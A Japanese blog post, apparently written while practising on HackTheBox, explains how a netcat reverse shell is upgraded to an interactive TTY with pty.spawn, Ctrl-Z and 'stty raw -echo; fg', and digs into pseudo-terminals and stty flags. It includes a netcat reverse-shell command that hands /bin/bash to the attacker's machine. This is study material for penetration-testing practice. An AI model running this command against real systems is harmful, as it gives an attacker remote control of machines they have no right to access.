リバースシェルを張ってシェルをアップグレードする際、何をやっているのか
だいたい一年ぶりに記事を書いています。
今年はもう少し、記事を書いていきたですね。
この記事では、リバースシェルを張ってシェルをアップグレードする際、一体何をやっているのかについて説明していきたいと思います。 ここでシェルをアップグレードといっているのは、矢印キーでコマンド履歴を参照できたり、tabでコマンドを補完できるようにするということを言っています。
このテーマにしようと思った理由は、最近HackTheBoxというプラットフォームで遊んでいるのですが、その際、リバースシェルを張った後、特に裏側の仕組みを分かっていないままシェルをアップグレードしていたので、このままではマズいと思って記事を書こうと思ったわけです。
まずはコマンドを確認してから、各コマンドの意味を見ていこうと思います!!!
シェルをアップグレードするときに使うコマンド
まずはリバースシェルを準備しましょう。(HackTheBoxだと、まずここまでが大変ですよね笑)
kaliのncを使ってリバースシェルを張るときの場合を考えます。(頑張って対象のマシンに実行させましょう。)
- マシン側
nc <kali ip> <kali port> -e /bin/bash
- kali側
└─$ nc -nlvp 4444 listening on [any] 4444 ... connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130
その後、自分は下のコマンドを実行しています
python3 -c "import pty;pty.spawn('/bin/bash')"
そうするとこんな感じになります。
└─$ nc -nlvp 4444 listening on [any] 4444 ... connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130 python3 -c "import pty;pty.spawn('/bin/bash')" <- 入力 test@test:/var/www/app$
以下の手順で、完全なシェルにアップグレードします。
Ctrl-Zでバックグラウンドで実行させる
└─$ nc -nlvp 4444 listening on [any] 4444 ... connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130 python3 -c "import pty;pty.spawn('/bin/bash')" test@test:/var/www/app$ ^Z <- Ctrl-Z実行 zsh: suspended nc -nlvp 4444
- sttyコマンドを実行後、fgでバックグラウンドで実行していたジョブをフォアグラウンドに戻します。
- その後、TERMやSHELLなどの環境変数を設定していきます。
└─$ nc -nlvp 4444 listening on [any] 4444 ... connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130 python3 -c "import pty;pty.spawn('/bin/bash')" test@test:/var/www/app$ ^Z zsh: suspended nc -nlvp 4444 ┌──(kali㉿kali)-[~] └─$ stty raw -echo; fg <- 入力 [1] + continued nc -nlvp 4444 export TERM=xterm-256color <- 入力 test@test:/var/www/app$ export SHELL=bash <- 入力
stty raw -echo; fg
は絶対一行で実行してください。
そうすると完全なインタラクティブなシェルをゲットすることができます!!
また他の方法として、stty raw -echo; fg
実行後、resetコマンドを実行する方法もあるようです。
実行すると、Terminal typeが聞かれるので、xterm-256colorを入力します。
└─$ nc -nlvp 4444 listening on [any] 4444 ... connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130 python3 -c "import pty;pty.spawn('/bin/bash')" test@test:/var/www/app$ ^Z zsh: suspended nc -nlvp 4444 ┌──(kali㉿kali)-[~] └─$ stty raw -echo; fg <- 入力 [1] + continued nc -nlvp 4444 reset <- 入力 reset: unknown terminal type unknown Terminal type? xterm-256color <- 入力
それではこのコマンドで何をやっているのでしょうか。分解していきましょう
まずはpython3 -c "import pty;pty.spawn('/bin/bash')"
についてです。
python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c
- -cで指定された文字列をpython3として実行
import pty
- python3のptyモジュールをインポート
- docs.python.org
- ptyモジュールとはなんぞ?
- 上のリンクの最初にはこう書かれていました
pty モジュールは擬似端末(他のプロセスを実行してその制御をしている端末をプログラムで読み書きする)を制御する操作を定義しています。
- この時点で、疑似端末って何????括弧の中も何言っているかよく分からないとなりました。
- それでは次に疑似端末を調べていきます
- 上のリンクの最初にはこう書かれていました
疑似端末とは
wikipediaには以下のように書かれていました
擬似端末(ぎじたんまつ、英語: pseudo terminal)または疑似ターミナルとは、UNIXにおけるテキスト端末の擬似デバイスのマスター・スレーブのペアである。仮想コンソール、端末装置、シリアルポートハードウェアなどを使用しないテキスト端末のインターフェイスを提供する。これらのハードウェアの代わりに、擬似端末セッションの役割をソフトウェア(プロセス)が代用する。例えば、SSHなどでログインするとこの端末に接続される。
以下のことが分かったような気がします
もう少し調べてみると
- 改めて整理する、コンソール・ターミナル・仮想コンソール・端末エミュレータ・擬似端末 - 完全に理解した.com
- このサイトの画像が分かりやすかったですね
- 要はsshとかで入力されたコマンドなどは疑似端末を経由してプロセスへの入力に渡されているということのような気がしています
さらに調査を進める
- kazmax.zpp.jp
- このサイトでマスターとスレーブの記述がありました
- サイトによると
- つまり、wikiで書かれていたマスタとスレーブの実体はファイルのことで、スレーブに書かれたデータはマスタの入力になって、マスタに書かれたデータはスレーブの入力になるという認識になりました
ここまでのことを実際に確かめてみましょう。スレーブに何かを入力してマスタに何か出力されるか試してみます。
- /dev/ptsの確認
┌──(kali㉿kali)-[~] └─$ ls -al /dev/pts total 0 drwxr-xr-x 2 root root 0 May 1 01:56 . drwxr-xr-x 17 root root 3240 May 1 02:24 .. crw------- 1 kali tty 136, 0 May 1 03:32 0 c--------- 1 root root 5, 2 May 1 01:56 ptmx
┌──(root㉿kali)-[/home/kali] └─# ls -al /dev/pts total 0 drwxr-xr-x 2 root root 0 May 1 01:56 . drwxr-xr-x 17 root root 3240 May 1 02:24 .. crw------- 1 kali tty 136, 0 May 1 03:33 0 crw--w---- 1 root tty 136, 1 May 1 2023 1 c--------- 1 root root 5, 2 May 1 01:56 ptmx ┌──(root㉿kali)-[/home/kali] └─# cat /dev/pts/ptmx
- できましたが、何も出力されず、コマンドも終了しません
- またrootになったら、/dev/pts配下に1というファイルが作成されました。これがrootのスレーブということでしょうか。
- この/dev/pts/1に何かを書き込んでみます。
┌──(root㉿kali)-[/dev/pts] └─# echo hoge > /dev/pts/1
- そうすると確かに同じ文字列が表示されました。
┌──(root㉿kali)-[/home/kali] └─# cat /dev/pts/ptmx hoge
- ここまで、疑似端末がなんであるか大分イメージがつきました。
今までのことを自分の言葉でまとめると以下になりました。
ttyコマンドを使用すると、現在の自分の標準入力に接続されている端末のファイル名が出力されるようです。
┌──(root㉿kali)-[/home/kali] └─# tty /dev/pts/1
pty.spawn('/bin/bash')
- 上記の分かったことから、ここでしていることは、標準入力を/bin/bashに渡す疑似端末を作成していると考えられます。
- リバースシェルを張るコマンドにもよると思うのですが、ncなどでリバースシェルを張った際はttyコマンドを実行しても以下のようにnot a ttyと帰ってくるため、このような時にまずは疑似端末を作成しているのですね。
└─$ nc -nlvp 4444 listening on [any] 4444 ... connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130 tty not a tty
- ちなみに、端末が割り当てられていないシェルではsudoが実行できないようです。
- sudo -lできないと権限昇格の時、きついので
python3 -c "import pty;pty.spawn('/bin/bash')"
はやっぱり必要ですね
まとめると
python3 -c "import pty;pty.spawn('/bin/bash')"
を実行すると、疑似端末を作成し、それを経由して標準入力を/bin/bashに渡していることが分かります。
Ctrl-Zについて
以下でkali上の端末を設定をするために、一度バックグラウンドで実行するようにしておきます。
stty raw -echoについて
まずはsttyについてです。 どうやらこれは、端末の設定を表示したり、変更するコマンドのようです。
またこのコマンドを実行する事によって、入力をkaliのシェルから被害者マシン側のシェルに切り替えているようです。
いろいろ検索しても、しっくりくる解説がなかったので、sttyのhelpを見てコマンドを解釈していきます。
└─$ stty --help Usage: stty [-F DEVICE | --file=DEVICE] [SETTING]... or: stty [-F DEVICE | --file=DEVICE] [-a|--all] or: stty [-F DEVICE | --file=DEVICE] [-g|--save] Print or change terminal characteristics. Mandatory arguments to long options are mandatory for short options too. -a, --all print all current settings in human-readable form -g, --save print all current settings in a stty-readable form -F, --file=DEVICE open and use the specified DEVICE instead of stdin --help display this help and exit --version output version information and exit Optional - before SETTING indicates negation. An * marks non-POSIX settings. The underlying system defines which settings are available. Special characters: * discard CHAR CHAR will toggle discarding of output eof CHAR CHAR will send an end of file (terminate the input) eol CHAR CHAR will end the line * eol2 CHAR alternate CHAR for ending the line erase CHAR CHAR will erase the last character typed intr CHAR CHAR will send an interrupt signal kill CHAR CHAR will erase the current line * lnext CHAR CHAR will enter the next character quoted quit CHAR CHAR will send a quit signal * rprnt CHAR CHAR will redraw the current line start CHAR CHAR will restart the output after stopping it stop CHAR CHAR will stop the output susp CHAR CHAR will send a terminal stop signal * swtch CHAR CHAR will switch to a different shell layer * werase CHAR CHAR will erase the last word typed Special settings: N set the input and output speeds to N bauds * cols N tell the kernel that the terminal has N columns * columns N same as cols N * [-]drain wait for transmission before applying settings (on by default) ispeed N set the input speed to N * line N use line discipline N min N with -icanon, set N characters minimum for a completed read ospeed N set the output speed to N * rows N tell the kernel that the terminal has N rows * size print the number of rows and columns according to the kernel speed print the terminal speed time N with -icanon, set read timeout of N tenths of a second Control settings: [-]clocal disable modem control signals [-]cread allow input to be received * [-]crtscts enable RTS/CTS handshaking csN set character size to N bits, N in [5..8] [-]cstopb use two stop bits per character (one with '-') [-]hup send a hangup signal when the last process closes the tty [-]hupcl same as [-]hup [-]parenb generate parity bit in output and expect parity bit in input [-]parodd set odd parity (or even parity with '-') * [-]cmspar use "stick" (mark/space) parity Input settings: [-]brkint breaks cause an interrupt signal [-]icrnl translate carriage return to newline [-]ignbrk ignore break characters [-]igncr ignore carriage return [-]ignpar ignore characters with parity errors * [-]imaxbel beep and do not flush a full input buffer on a character [-]inlcr translate newline to carriage return [-]inpck enable input parity checking [-]istrip clear high (8th) bit of input characters * [-]iutf8 assume input characters are UTF-8 encoded * [-]iuclc translate uppercase characters to lowercase * [-]ixany let any character restart output, not only start character [-]ixoff enable sending of start/stop characters [-]ixon enable XON/XOFF flow control [-]parmrk mark parity errors (with a 255-0-character sequence) [-]tandem same as [-]ixoff Output settings: * bsN backspace delay style, N in [0..1] * crN carriage return delay style, N in [0..3] * ffN form feed delay style, N in [0..1] * nlN newline delay style, N in [0..1] * [-]ocrnl translate carriage return to newline * [-]ofdel use delete characters for fill instead of NUL characters * [-]ofill use fill (padding) characters instead of timing for delays * [-]olcuc translate lowercase characters to uppercase * [-]onlcr translate newline to carriage return-newline * [-]onlret newline performs a carriage return * [-]onocr do not print carriage returns in the first column [-]opost postprocess output * tabN horizontal tab delay style, N in [0..3] * tabs same as tab0 * -tabs same as tab3 * vtN vertical tab delay style, N in [0..1] Local settings: [-]crterase echo erase characters as backspace-space-backspace * crtkill kill all line by obeying the echoprt and echoe settings * -crtkill kill all line by obeying the echoctl and echok settings * [-]ctlecho echo control characters in hat notation ('^c') [-]echo echo input characters * [-]echoctl same as [-]ctlecho [-]echoe same as [-]crterase [-]echok echo a newline after a kill character * [-]echoke same as [-]crtkill [-]echonl echo newline even if not echoing other characters * [-]echoprt echo erased characters backward, between '\' and '/' * [-]extproc enable "LINEMODE"; useful with high latency links * [-]flusho discard output [-]icanon enable special characters: erase, kill, werase, rprnt [-]iexten enable non-POSIX special characters [-]isig enable interrupt, quit, and suspend special characters [-]noflsh disable flushing after interrupt and quit special characters * [-]prterase same as [-]echoprt * [-]tostop stop background jobs that try to write to the terminal * [-]xcase with icanon, escape with '\' for uppercase characters Combination settings: * [-]LCASE same as [-]lcase cbreak same as -icanon -cbreak same as icanon cooked same as brkint ignpar istrip icrnl ixon opost isig icanon, eof and eol characters to their default values -cooked same as raw crt same as echoe echoctl echoke dec same as echoe echoctl echoke -ixany intr ^c erase 0177 kill ^u * [-]decctlq same as [-]ixany ek erase and kill characters to their default values evenp same as parenb -parodd cs7 -evenp same as -parenb cs8 * [-]lcase same as xcase iuclc olcuc litout same as -parenb -istrip -opost cs8 -litout same as parenb istrip opost cs7 nl same as -icrnl -onlcr -nl same as icrnl -inlcr -igncr onlcr -ocrnl -onlret oddp same as parenb parodd cs7 -oddp same as -parenb cs8 [-]parity same as [-]evenp pass8 same as -parenb -istrip cs8 -pass8 same as parenb istrip cs7 raw same as -ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr -icrnl -ixon -ixoff -icanon -opost -isig -iuclc -ixany -imaxbel -xcase min 1 time 0 -raw same as cooked sane same as cread -ignbrk brkint -inlcr -igncr icrnl icanon iexten echo echoe echok -echonl -noflsh -ixoff -iutf8 -iuclc -ixany imaxbel -xcase -olcuc -ocrnl opost -ofill onlcr -onocr -onlret nl0 cr0 tab0 bs0 vt0 ff0 isig -tostop -ofdel -echoprt echoctl echoke -extproc -flusho, all special characters to their default values Handle the tty line connected to standard input. Without arguments, prints baud rate, line discipline, and deviations from stty sane. In settings, CHAR is taken literally, or coded as in ^c, 0x37, 0177 or 127; special values ^- or undef used to disable special characters. GNU coreutils online help: <https://www.gnu.org/software/coreutils/> Full documentation <https://www.gnu.org/software/coreutils/stty> or available locally via: info '(coreutils) stty invocation'
stty raw -echo
を実行しているので、関係してくるのは以下です。
raw same as -ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr -icrnl -ixon -ixoff -icanon -opost -isig -iuclc -ixany -imaxbel -xcase min 1 time 0
[-]echo echo input characters
rawの解説は長くなりそうなので、まずは-echoからです。 sttyでは`-が否定の意味で使われているようで、-echoは入力を表示しないようにするということらしいです。
ためしに-echoなしでやってみます。resetを入力してみた結果です。入力した文字列がそのまま表示されてしまっています。
┌──(kali㉿kali)-[~] └─$ stty raw ; fg [1] + continued nc -nlvp 4444 reresetset^M reset: unknown terminal type unknown Terminal type?
それでは最後にrawについてなのですが、helpの内容から現在の端末に以下の設定を設定をしていることが分かります。
-ignbrk -> ブレーク (break) 文字を無視しない -brkint -> ブレークによって割り込みシグナルを発生させない -ignpar -> パリティエラーの起こった文字を無視しない -parmrk -> パリティエラーをマークしない -inpck ->入力のパリティチェック機能を有効にしない -istrip -> 入力文字の高位ビット (8 番目のビット) をクリアしない -inlcr -> 改行 (newline) 文字を復帰 (carriage return) 文字に変換しない -igncr -> 復帰文字を無視しない -icrnl -> 復帰文字を改行文字に変換しない -ixon -> XON/XOFF によるフローコントロールを有効にしない -ixoff -> システムの入力バッファが一杯になりかけたとき stop 文字を送り、 再び空になりかけたときに start 文字を送る機能を有効にしない -icanon -> erase, kill, werase, rprnt 各特殊文字を有効にしない -opost -> プロセス終了後に出力しない -isig -> interrupt, quit, suspend 各特殊文字を有効にしない -iuclc -> 大文字を小文字に変換しない -ixany -> どの文字でも出力を再開できるようにしない (`-ixany' で start 文字のみになる) -imaxbel -> 入力バッファが一杯なのに文字が入力されたときには、 ビープ音を発生して入力バッファをフラッシュしないようにしない -xcase -> icanon が設定されている場合、 入出力の大文字を対応する小文字に `\' を前置して表示可能にしない min 1 -> icanonが設定されている場合、読み取り完了時の最小文字数を1文字に設定する time 0 -> icanonが設定されている場合、読み出しのタイムアウトを10分のN秒に設定する
話が少し変わりまわすが、リバースシェル上で、Ctrl-Cなどを実行するとリバースシェル上のプロセスに対して実行したいのに、kali側の待ち受け側の処理が終了してしまいます。
これはCtrl-Cがkali側にもシグナルを送ってしまうため、このようなことが起きています。
kali上の入力を無効化し、被害者マシンにシグナルを送るようにしているのが、このrawの設定です。
ためしにkaliでstty raw -echo
を実行してみます。
┌──(kali㉿kali)-[~] └─$ stty raw -echo ┌──(kali㉿kali)-[~] └─$ sleep 100 ^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C
するとこのように、Ctrl-Cを押しても、プロセスは停止せず、シグナルが送られていない事が分かります。
またstty raw -echo
のあと、連続してfg
を実行しています
これを別々のコマンドで実行すると、シェルのアップグレードに失敗するので注意が必要です。
実際にやってみると
└─$ nc -nlvp 4444 listening on [any] 4444 ... connect to [X.X.X.X ] from (UNKNOWN) [Y.Y.Y.Y] 33130 python3 -c "import pty;pty.spawn('/bin/bash')" test@test:/var/www/app$ ^Z zsh: suspended nc -nlvp 4444 ┌──(kali㉿kali)-[~] └─$ stty raw -echo ┌──(kali㉿kali)-[~] └─$ fg [1] + continued nc -nlvp 4444 reset^M^M^M^M^M^M^M^M
resetを入力しEnterを押したのですが、sttyコマンドにより、Enterのシグナルが無効化され、被害者マシン側に送られていません。 sttyとfgは同時に実行することによって、kaliの端末への入力の無効化と被害者マシン側へのシェルの切り替えを同時にしているということなのでしょう。なるほどなるほど。
resetについて
sttyのコマンドの後、このコマンドを実行しているサイトもありました。 まずこのコマンドは端末を設定をリセットし、端末を開いた直後と同等の状態にすることができるようです。 実行している理由は不明ですが、とりあえず初期化してみようということ感じでしょうか。
環境変数の設定
TERMとSHELLの二つを設定していました。 二つの変数の意味を調べていきます。
TERMについて
- 端末のタイプを設定する環境変数
SHELLについて
- ログインする際のシェルのパスが設定されている環境変数
exportで各環境変数を定義後、/bin/bashなどを実行することによって、環境変数が再読み込みされて、完全なシェルの状態になると思うのですが、exportだけで終わっている記事がたくさんありますね。なんででしょうかね。
おわり
今回のような内容でも詳しく調べていくだけで、かなり時間かかっているので、もう少し軽めの内容を継続して出せるようにしていきたいですね。